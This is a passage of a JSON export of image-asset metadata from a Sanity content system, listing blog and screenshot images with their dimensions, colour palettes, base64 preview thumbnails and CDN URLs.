:{"_type":"sanity.imagePaletteSwatch","background":"#beac94","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fbbb6e","foreground":"#000","population":0.15,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b47f5a","foreground":"#fff","population":0.12,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":23.19,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"AWS_marketplace_announcement_blog_V1.png","path":"images/sczeoy4w/production/8b626216b6356e4dd7894310f36ca825487d63b1-1567x844.png","sha1hash":"8b626216b6356e4dd7894310f36ca825487d63b1","size":32372,"uploadId":"NexOCHvXamvI31LsSUX9ENSDWiSXVXGF","url":"https://cdn.sanity.io/images/sczeoy4w/production/8b626216b6356e4dd7894310f36ca825487d63b1-1567x844.png"} {"_createdAt":"2023-04-06T12:39:07Z","_id":"image-036486c69197741c594a09952ee48a9e5a84f8c3-1999x1944-png","_rev":"H0YIPwq3XRvJR93LPdfzFP","_type":"sanity.imageAsset","_updatedAt":"2023-04-06T12:39:07Z","assetId":"036486c69197741c594a09952ee48a9e5a84f8c3","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.0282921810699588,"height":1944,"width":1999},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAATCAYAAACQjC21AAAACXBIWXMAAAsTAAALEwEAmpwYAAACi0lEQVQ4jY2TW2/TMBTH86UR3wEhJB554YUJwS5NtU3AeIaB2AvK7mOXbl0ubeKktWM79z867jLS0kk90l92nHN+Pj7Htvq7n2Fvf4Ld24bd28F6bwdr6zbefdjC2kdSD+83bGz0d2HvfIG9u4e+3Uf/7WtsvXqOzZfP0HvzAvbmhvlvuX4A9/oK3o9vcL/v4/L4DIenFzg8OcPJ2bnR6fkfXFxe4+pmgOvBLQY3V7g7PsDtwVcMfu1hePQT7u0NiGXpPEcWh8iPfkM7Dib+CGOWIGQxWPygJEH8oGQyAeccMp1C8QSSJ1Aph9YKWZ7D0lkGnaaQUYh0PEbKBYRUSKU0kurf/FFKQVFclkMZ0TxDlmWwqqpCXhTgSiERAkIpmKzz3KwXZTkbiwJlWRotzgv6rioQy2qaxgCiJIEfhhgxhng6O5agDUhpCq31DE6QsjTBreq6BnFIBqi0xjgM4fq+kRcECEYjhGGIKIoQxzHSNIXKNLhMzbFpAzpiURQGOgekHxRE0C6ECwEppdkwz3MDoaZQc0xjpDSx/wHJmZwI2GZDa13H1o9A0+l0lrFSyzPUOjMwz/PAWGwyaevSGs0p8LEJnTrWizUkwGg8huf7Zndy7ma2qsjmgNQIqgvtSNZ1bO0pENlchtSMMIpMkVun7riqLNPlPEfy8LQIXi7UZTGbxay7Nndt6LpMJlPz3Kjwy6CrAButdRMx1jDGGs55o7RuiqJoqqpq6ro2am3Gm43LZLUZ0oWddO6XUtpcaJJ5dkWxcoZC60ywOBZhxMz4KEZiIkkSoZQSdV0LAIJiaFwmAjpSaccfhc6dGzhD13eGrufcu64zvL838oPA4Zw7VVU5AByKeUp/AUZ4rEB58UjcAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#334254","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0b1a27","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#334254","foreground":"#fff","population":0.05,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acccc4","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcbc64","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#986464","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e83552","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"step1.png","path":"images/sczeoy4w/production/036486c69197741c594a09952ee48a9e5a84f8c3-1999x1944.png","sha1hash":"036486c69197741c594a09952ee48a9e5a84f8c3","size":596954,"uploadId":"Kr3PwOAl4A6GtnDcswBdQo219VwIXErD","url":"https://cdn.sanity.io/images/sczeoy4w/production/036486c69197741c594a09952ee48a9e5a84f8c3-1999x1944.png"} {"_createdAt":"2023-04-06T12:39:06Z","_id":"image-3af6930c8fa040ed753975eae2479a0c6cf82a70-1999x1751-png","_rev":"ulgXm0wFeNKgOZ86vt9VYl","_type":"sanity.imageAsset","_updatedAt":"2023-04-06T12:39:06Z","assetId":"3af6930c8fa040ed753975eae2479a0c6cf82a70","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.1416333523700744,"height":1751,"width":1999},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAASCAYAAABb0P4QAAAACXBIWXMAAAsTAAALEwEAmpwYAAACC0lEQVQ4jaWU63KbMBCF/f7v0999jjh1xvEFMFgIdNmVQHAyK2zqaRtP0/74RhpWHM5exMa87VDu97hcLvDeI4QAZs7I/qtsvLqiUwp934OIfhP8qviGmcBE64v/y+Zf0nrqkIjgnIO1f0ZiUls5J8j+zr1EMcZMFpTaFUWJ9/dDZr8/4HA4oigKlGWVm6W1hjEGbauhVAvdanS6gzE2i6SUMI7jIiiHRWi7fcXLy8Ju94bT6YyquqCuG2jdoe8NVKvR3vbinogRxxFpmjDcBeXL4kIEjsdTdruI6Nx5iUvazhOsI3iOCMOIOCYMacKQ5rzG4SZorUXTNFloEauzmDxf6rR0T1bigBAHDCkhTfMD00+H8nURPJ+LjKSplMqCj7OYm+IJMUSkMWFKwnQjYRyGm6B3uCqVhYSmud6aYNcO5xnzBLaE6BiJIhILw8oQIgKvKdcoywKXqsopi2MRFqdd1y+inkCdBWuLqB1G45FcwOQjJooYpbb3pjR1hao8oq5LXJs6iwoyIhLP8+ccTNvBKA2ne5CMjCOMXhwHDOtd9g621+g7BWM6WGuyyJLyLV1meOdh+x626+Hu5ZB4du/X67th5vkZIYR1T0QzeVrWX2GeOYT5r+7yevllHz75MYhD5+XnwJ75OSGE58i5a+vD696Lw63AzHl95P5M1k+RuPdb/rHf8rfv2w92M2iGf/M38gAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#464447","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#015e82","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f04965","foreground":"#fff","population":0.17,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dcd1b1","foreground":"#000","population":0.07,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f04965","foreground":"#fff","population":0.17,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c5c5c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#18bcfc","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"step4.png","path":"images/sczeoy4w/production/3af6930c8fa040ed753975eae2479a0c6cf82a70-1999x1751.png","sha1hash":"3af6930c8fa040ed753975eae2479a0c6cf82a70","size":302823,"uploadId":"jsWHKAiOy557qmKeVMnb4gi9BcpL6Ury","url":"https://cdn.sanity.io/images/sczeoy4w/production/3af6930c8fa040ed753975eae2479a0c6cf82a70-1999x1751.png"} {"_createdAt":"2023-04-06T12:39:08Z","_id":"image-e96866e067254339fb14770d55462dd2d78c6472-1566x1976-png","_rev":"WEM1s63asEf3GCsZHSy5pm","_type":"sanity.imageAsset","_updatedAt":"2023-04-06T12:39:08Z","assetId":"e96866e067254339fb14770d55462dd2d78c6472","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.7925101214574899,"height":1976,"width":1566},"exif":{"PixelXDimension":1566,"PixelYDimension":1976,"_type":"sanity.imageExifMetadata"},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAZCAIAAAC+dZmEAAAACXBIWXMAAAsTAAALEwEAmpwYAAACAUlEQVQ4jaWUWWsUQRSF8//BDcQ/IMQFIXHBRxmND4JvifHBxKDGmSQ901Vdy627VXWkOzj2OIsMHg5NQ9+Pe+tUVe/kJUmWhptLuLoKVeVn0zBz6EVluXKHl4SMdaov4+Us1CYYGxufAjEuV+7QQNKLhRMnYEBGYiImFr75JCLD+j8wc1cBkEIIsRdEIKKccyml7VVKGfILMCJWVXV+/nM8nozHk8nkwhhLRKW0173atl0LE5G1djqdmdoYY42x3ntEKqX8GxZRRCQiVR2EOp+63QSrar9wXShflKzvLIiEiKq6HSwiqt3YMSbsJ1/uX8r6ziwSIhjrbeMDJBbV0ua52+65Pm0W68LV1FRTY60HZM5FSju3drCu6czifJyZxhoHLhKy5pLb67lL2+qGwHyI1jYxRGUpOW8RmIjECM55gCTcXaOttkoBkvehP97AzH3g1wO3m08YQQSAlPrmf+9WWX8xRDQhpoQqklW7NefSbe7AoqvS7i8rg3VQ1TprivG/7W6cXSzEa9IWkbqBD0d+fxT3RrD/Fl4ewKv38Pwd7I1gb5TefJQfF4LdkKvgiym8OHD3nrhbu+7OI3f/qXvwzN197G7vutu74eFr/nwmCVfBzBJAvk3o0ykdntDRKR1/peOz7uXwhA5P+Mt3qZvhf2jhH9bxG32j1fC2+i/4F66eoX+Z0yWPAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#282830","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d40434","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f5144e","foreground":"#fff","population":0.04,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cda2ac","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc74a4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4ca454","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5144e","foreground":"#fff","population":0.04,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"step7.png","path":"images/sczeoy4w/production/e96866e067254339fb14770d55462dd2d78c6472-1566x1976.png","sha1hash":"e96866e067254339fb14770d55462dd2d78c6472","size":236197,"uploadId":"i2fa3VBx3HubcWKAtKxMoJ99jDsKAXYo","url":"https://cdn.sanity.io/images/sczeoy4w/production/e96866e067254339fb14770d55462dd2d78c6472-1566x1976.png"} {"_createdAt":"2023-04-06T12:39:08Z","_id":"image-b5322459bf9b5a8fc3e9fed55e13121653aadfb4-1398x1116-png","_rev":"ulgXm0wFeNKgOZ86vt9XJL","_type":"sanity.imageAsset","_updatedAt":"2023-04-06T12:39:08Z","assetId":"b5322459bf9b5a8fc3e9fed55e13121653aadfb4","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.2526881720430108,"height":1116,"width":1398},"exif":{"PixelXDimension":1398,"PixelYDimension":1116,"_type":"sanity.imageExifMetadata"},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAIAAACZeshMAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB3klEQVQokY2SyW/TQBSH/b8iIdGSpgFU0mZhUaHAoRJCcODGBQmljqGgUhBlucCJK0jcURI7tmd5M/Nm7HFQPLYJggKffgdfvreNPfHhEB7fhYe78OA63++xO12+12U3t9nuDrvWY1d7bNhj/T7bHrDugG4N6cUh7QzZ3n14+9ETb0bi0S1xb0fsX4YbG/zKGgzWeG+dd8/zrRa/1GIXNli7zVptvr7Jzm2ysx12psP6t+HVe099/Sw/Hct3T+VJgK99fTzSLw/0ka9f+Pjcx0Mfn40xGOM4QD/AgwBHAT4J1NGJ+vLNU4ywKEwm38l0gklkaVLQ9GdInbRMUiVPqebgSaVSQsNoHs1jEJBlWf4nrLWFtYs6Ns+N1p6UkpA0KklJCgBCCCmFlLL8qEBEm+eLonCx1hpjPIVIQcQEYsJTyhkHh1ihkq1d1NSyQsLVnIgoXfq0lJ2gVkBEXWOMyfN8KUsp4ySdTMPJNJzOwjBczh/HMaXUVQEAXlKNBKCUMiWeEGIezWezWZKktIQxBgCIaIzJssz8Rl5SdSYlSmFz6uVti2JxOtbt3KzhhIa/mItGdtoqqyVOq/VLZ6011rhy/9VZa62Uan4G96RZlp02gqM6mGvVbO7I/oVTfgBHnXOttr3S9AAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6d6d6d","foreground":"#fff","population":0.39,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7a0f09","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f1574f","foreground":"#fff","population":9.68,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b3c0ce","foreground":"#000","population":0.47,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcac84","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b45464","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f1574f","foreground":"#fff","population":9.68,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"step5.png","path":"images/sczeoy4w/production/b5322459bf9b5a8fc3e9fed55e13121653aadfb4-1398x1116.png","sha1hash":"b5322459bf9b5a8fc3e9fed55e13121653aadfb4","size":188730,"uploadId":"QUx2OgFsn333WFoWizOdwrW8clwzCVUS","url":"https://cdn.sanity.io/images/sczeoy4w/production/b5322459bf9b5a8fc3e9fed55e13121653aadfb4-1398x1116.png"} {"_createdAt":"2023-07-24T07:55:43Z","_id":"image-d30e64aba26d633445e75f42cc7cb65e6bfe8c0f-1200x628-png","_rev":"Q21J3pgWoUWkhUhtSr2WU5","_type":"sanity.imageAsset","_updatedAt":"2023-07-24T07:55:43Z","assetId":"d30e64aba26d633445e75f42cc7cb65e6bfe8c0f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M56H?H?3MvRNjD%jxuM_M|kED%Rkt6kFax","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAACL0lEQVQokU3N2U4TUQCA4XkDldLZ55zOfs7M6TBdAUGsram0JkJpRaGAQRGwpUD3jRnK1gaCxITo87pceflffPmpKf6DjHaxe2hHj0j81I43TaehWA3FaiukB3Cf1weC4QmGx2sDTuv+yzNO77Nqm2LgZmSulsp2U9nBUtZLLY8y+ZtMfpLO3aZyd8mXEzNyqZALCfmc1uO0rmj4EroUzHNe9yhOLs++qOdW/OV3o0x+lFsdFzce1rcfS+WfpfKv/NrjfPqeJMcQe6za5rW+ZF4BPAF4DKxbigYbJPZtMd1azPSepwdL2fPXb6/frNzlCg+5wo9X+e/RhbHmjAS9y8h1Tu0I+t8zwGNo31NT3Hsdb7qxHeR8MZwqjtStaMtJ9p1Z3054JN4msVONtIDZkoymZHR4vcfrQ9G8AHhCPWML7kwxtVCyw5umU7FjDRJvhxN95PYhauCZ3bmFcmTuKJwYhpMejvoK8SH2APYBuqKeMgXLKs4n1y1nC81UsVtHbhO5HdXu8FothLbt6AaOVkhiSBI+jl0Y7o3mXEHLF40hNcWsqbBo47JB9iA64JR9Vj7klBqnnNCwSsM9Vt0X9GNgNCWzA5AXsq+hNRKMHqu2qACzpkpFbO7o9r6g7QXEzwHxaxBUmFAtCKvT4CAIK3TohJXrrNIWdE80L3n9jFVbjNKgntDFAFuihY+0tDUtfvoPHzPycRBWgqEqIzdYpclpXcE4F80Rp/UYpfkH/wbLQ5oFz8DzOgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#252650","foreground":"#fff","population":0.26,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142472","foreground":"#fff","population":8.87,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#142472","foreground":"#fff","population":8.87,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c5c3db","foreground":"#000","population":5.67,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7b83c2","foreground":"#fff","population":0.51,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#676f98","foreground":"#fff","population":2.54,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d2986","foreground":"#fff","population":8.61,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"bonsai-on-aiven-for-gcp.jpg","path":"images/sczeoy4w/production/d30e64aba26d633445e75f42cc7cb65e6bfe8c0f-1200x628.png","sha1hash":"d30e64aba26d633445e75f42cc7cb65e6bfe8c0f","size":68161,"uploadId":"hBlYZVKvQFusWx0JQi2WEfEQNuYvf227","url":"https://cdn.sanity.io/images/sczeoy4w/production/d30e64aba26d633445e75f42cc7cb65e6bfe8c0f-1200x628.png"} {"_createdAt":"2023-07-11T11:58:08Z","_id":"image-5afb45dee4e79779b8140230e6b69cfb5dea7be5-1722x1744-png","_rev":"RDKiu78Yog1C5spl58nok2","_type":"sanity.imageAsset","_updatedAt":"2023-07-11T11:58:08Z","assetId":"5afb45dee4e79779b8140230e6b69cfb5dea7be5","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eCN4^dE|1Gw{1aw{oLsosojt1GoL]nS2=KsoWVS2fQjt1GWo|{w{]n","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.9873853211009175,"height":1744,"width":1722},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAC4jAAAuIwF4pT92AAADLUlEQVQ4jV1VzW9XVRBtY1sK1DYhBqLRjdG4IBo12AQXcxITjd91Dq26MgoBQ1BTRdQqIo18ii0iVpNiIhY/ogsl0RUL/rQ5ZubeX/nhYnLve+/eMzNnzswbETgi85FcI/fDZu1b1NoN3tdm0e8OcNoBcDSMWwRuEzgmcDLMpwKcCPNtgu8M4z1qtlPgnTJOCbXfVfeMo4k1QJ8QfHeYzwq8O8A9Al8RuFvgrIwHBB6W8aDM3xL4ssA5gYcC/rrAh3ogm4BTgr8k8EAYZ8P4nsCfBL4p+H6BF8P4icC31dZv+vdf+vOjLagOGJkCuCBwUcY5GS8JvCnwvMDjgq+F8aiMbwj8VOBVgf/I/LqMSwIfkXE8uf0/4Odh/EDgNYE3cg3wB8E3ZPxS8I9kvNyjuxrmvws81qkZAFZRtgukwO9kvi7julBRrmV6YZ6XXhD4vOCLMj+dNMjYHBn3BrhlM0IZtwpMDn+U8bd+eFnGvHhE5k8LfE7g/jBfFPi+wCWZr7TI+UwFVbJpmsoI98mK7OQoC3Eo94Ek3Y9E7f1DgWlnBX5dHBuXuyKmuw4LcMDhsS6ZHaU78NlKGf6r4J8JfEzgk4JfFPhXFkvg6YAvyDgzrMMCjEwDtADvE/iAzOfCeEHgusyXosD4lMCVAP8sjo1nZJ7B3Aa4PcD5utg0dkLgGYGrxVWKuj1noVZ6usnzak9/QfCZzmH2pk/29H4W+K/AP2T+t+Cpt0z13TC/IPOMakPwczI/L/PV7mgh4DPZ1z1Cv0PwJ8q78ZqMVwq0yeZUmflZoQC+as8V7WVZif9VmfeUN6eF31sSQVUtpbBRaYFf9Hcncx/m2TlLMmaUV2T8tqpsPjWo8mjn8S5Z9m4p/3i0LrkU5idknmAnBV+OcuBHlXIyT4q+r0LZsLBbt+yQcZ/AgwLf6QczrVOCJ08DS7F/LCtNrgk8J3CvzMeHp03aZIAPCnxY4OM5ngL+msD5MJ+XeVubGl7s3ZHtmi15v8zHhmTjbVobx8qTcULm2T3TgpdFmnl2w3Qbd9VqyVueGy+MzSr3Ud8KNDzSB2P+1rhvjm//Ddz6PXDkP3NJ5W3onlk9AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5b322e","foreground":"#fff","population":0.26,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#770c12","foreground":"#fff","population":0.19,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fb3b51","foreground":"#fff","population":11.65,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#950313","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb3b51","foreground":"#fff","population":11.65,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a6535c","foreground":"#fff","population":0.21,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f92c4f","foreground":"#fff","population":0.22,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"La-redoute-brand-logo.png","path":"images/sczeoy4w/production/5afb45dee4e79779b8140230e6b69cfb5dea7be5-1722x1744.png","sha1hash":"5afb45dee4e79779b8140230e6b69cfb5dea7be5","size":41322,"uploadId":"Llpmp76e2ByXj2qo975lD4Jxso77pULQ","url":"https://cdn.sanity.io/images/sczeoy4w/production/5afb45dee4e79779b8140230e6b69cfb5dea7be5-1722x1744.png"} {"_createdAt":"2023-04-13T14:12:06Z","_id":"image-3deb75dd2c90d1a2f2f1ce4805103a4acc6311b6-1567x844-png","_rev":"ULcVtA1fOCO5xNRu1bMpNb","_type":"sanity.imageAsset","_updatedAt":"2023-04-13T14:12:06Z","assetId":"3deb75dd2c90d1a2f2f1ce4805103a4acc6311b6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MOSC.I?_t-L2iH-oS2kVjFenHXysRPa0o}","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAAC0UlEQVQokVXSW2jbBRTH8dMaYqlzuNa1XmD1Ar44b9sY9anSKfjoNreuMU3qkrTdGGzrqm0VTbPWFfRBUHAKvg3aJxUEb4jb0rX6tJeNzpU2yT+Mqai0/Sf5/5P/7XwldRV8+HHO04cfnCMcCsGRJuhthmgz9DXBa40QFTQmaL9AQnATwl+vN1JI3Ut+5BHyE8+QzzxHPvMsxtQebp/bxe9TTyFEtkDiQRjqgBOPwYkOGGqDwW3o4FZIhdE6Fg9xJfE43771Chc/PE72k2Gy50fInj/DwudjXL3wLtdm0gjJh2F0L6S7IdMNk/vgvRdhqgtN74ZT7WiygWK8mR/G9/PLd1+xcuMauZvXyS8tUli+QTG3xG/FHH/cKtwBxzphohvSXZB5Ac69BNP70MxeOP0QwVAYY6CV7AeDFG4uUqvWsCtlqlWbmuvgeh6+H+AHitDTBPFWONoOyTZIbYeh7XC8DT3WAsfuITi5FWP4UeY+Oklx+Vdsu0Zp3aRSMbFqZaq1Kp7r4vsewn6BAwIHBQ4J9Aj0yn9HIRUiGGnFeHsnc5++QXFlibLtsLpmYpbXKFVNrKqF4zi4rnsH3EQ3wYigm2DyLoLhlg1w/rNRbuWXsW2H9TWTsmVScf5tWMc8z0P0gKgebFB9tUH1sKj2iGpElKioxkRJhlRP36fGm0/o5Y9PaW5pUUulsq7+/aeul1bVrJhaKpe1UrHUsmyVjf+LtUC8Bfq2QCT0/4YDYfzRB1gZ38mXZ+N888UsC3M/MX/pe+azPzJf37MXWZi7xM9XLiP0bfMZ2OEzuMPn6P0+0bBPRHyNiq8x8TUV9p3xjiB3tjP4euzl4ML4kWB2ol9np5IbmZmI60y6L5jJ9OvsZEKFw2GL3maLSD13W/Q2WkTE0qhYxMTSRKPlnmm316f31G5PdzrGO0/XjMxuz3i/S+spTO7yCukn3fo0pp/3/wGcE2aGqeQrEgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":0.28,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#571105","foreground":"#fff","population":0.25,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5c04","foreground":"#fff","population":16.25,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#99c3b8","foreground":"#000","population":0.2,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5c065","foreground":"#000","population":0.1,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5ba4a2","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5c04","foreground":"#fff","population":16.25,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Q1_23 release_summary_blog.png","path":"images/sczeoy4w/production/3deb75dd2c90d1a2f2f1ce4805103a4acc6311b6-1567x844.png","sha1hash":"3deb75dd2c90d1a2f2f1ce4805103a4acc6311b6","size":193863,"uploadId":"JFefMCTPy7CdCpABD7GR5TLDsuEoKMsp","url":"https://cdn.sanity.io/images/sczeoy4w/production/3deb75dd2c90d1a2f2f1ce4805103a4acc6311b6-1567x844.png"} {"_createdAt":"2023-04-18T08:43:10Z","_id":"image-e3322220d3f40885f42d29c423005afd16f9e5e2-500x500-png","_rev":"t1DqkqeCST00RrkAKEvLU4","_type":"sanity.imageAsset","_updatedAt":"2023-05-02T16:35:27Z","altText":"Paul Rogalinski-Pinter","assetId":"e3322220d3f40885f42d29c423005afd16f9e5e2","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"ecKA{GIA%$xuVs~WaykWofV@9Zt7MxRjt7-;WBf7ayf5WVofV@ayR*","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":500,"width":500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEc0lEQVQ4jS3Q6VMTdxzH8X0ghFyES43KSKtjW6fHTMcHorXTVktVVKgIVqvtqFOtV+VylHoMwSLEUBE8QEM5ktLBajCAMfdmf/v7bcIRstmL3U1ICPiXdDZ25v30NZ/5fjFIEAiQFIQUgmGEphGaodAMQrMQzJLEfBjG56aZ2BxDz8fpeTpbjI7RcTpO0xgJACQhQohCMILgNEIRAoevJ0JjdmJ0mHKMRf1uZobi6CgbjzFMLM7QNEPH2TjDMlkMFRxGcJpCYQLHHc/dj7vdXX8Eujvh097ocxuPe4ToDMfSLBtnOIbhWJbnOIHHIAEQCSmEIhSKQJKYfDXZ2/Xy9jVX2++gu3P66UNmdFD2OOUZJLA0x7Ecz3E8zwuCIAoYSQBIkpQyCyk8+HrIOnS9oe/X0/bGS+4OE9H7J+zvjY6N8LiHp6M8z/ICzy8IC5IoyhIG3mFIRhAEXretq7Pt5NFrB/e11h3uvXB2+Hrz6M3r45a7gX9GZhHJ8awgKlKSZTmZwAAAJAkokoxAGHRNPm690VxVWV+x++qBA3dOHO+/ctnecs1hbncPP4sQAV5gRWlBlCU5mUgsJjGCIEgAEEmGSYBPOIZNN8wn6jqOfG+uPfL07C9v2u+EHtwPW/vizn+Fabgg8qIsSgk5sZhcTKcUDBQMKADwifGX5jb7lXODp0/21NVYz5wKmNuj1ifimH2F8KaYqCQLUjIrU6nUUhoLhULZcQIBAndNOXru2RvPPzpRe2PPN60HKm1N9b775tjff6VRICXEpYQoZ3FqKb20nMGCwSCO4yCEQyJE+L3Owb6B5guddQdbdn/Vtn//8KVLbywdlO3ZAvQnFlgpoVybTC2mM0uZlWXM7/cHAoFQMAiUAq7nowO3mu7+WG069J2l9vBoc4P3UXf4hY0LhySRy+LkYjqdXs5k3q5gXq/X5/MF/H484Ad40D/lHOpsvX3sUH3Fl6baqsGrV5wPu9DEGD8fEaXst5KJZDqVWs4svV3B3G63x+Px+bx+n9fn9Uw6XgyYTTePV138dteto9XWlgZn/wP42jEXgQwXF2VRXkwm0+nU8rKy7HK5pqamxh2OkZERi8XS0tx069wp08nDrceqei6fcXS3E2PDLvvQk96eIZvNj+NzsRgvSsnUUmblLWa1Dty7Z2loaKqt+2F7+c5PP9pauX1bY9Xe9p9qnzSdH+/ueNXXY2psqNizt2LfoXMX6+90dvUP2F46XQBFsKrqmvIduzZt+mD1aqNWa9Dm6UpLVn+x9cMjO7efrqz47VjdqZqaHdvKjevKStaUbty09ZPPd+z8en/10Z8vNrZgRcVGnb5QpdKpcjW5OUqqXI1Bk7+2oLh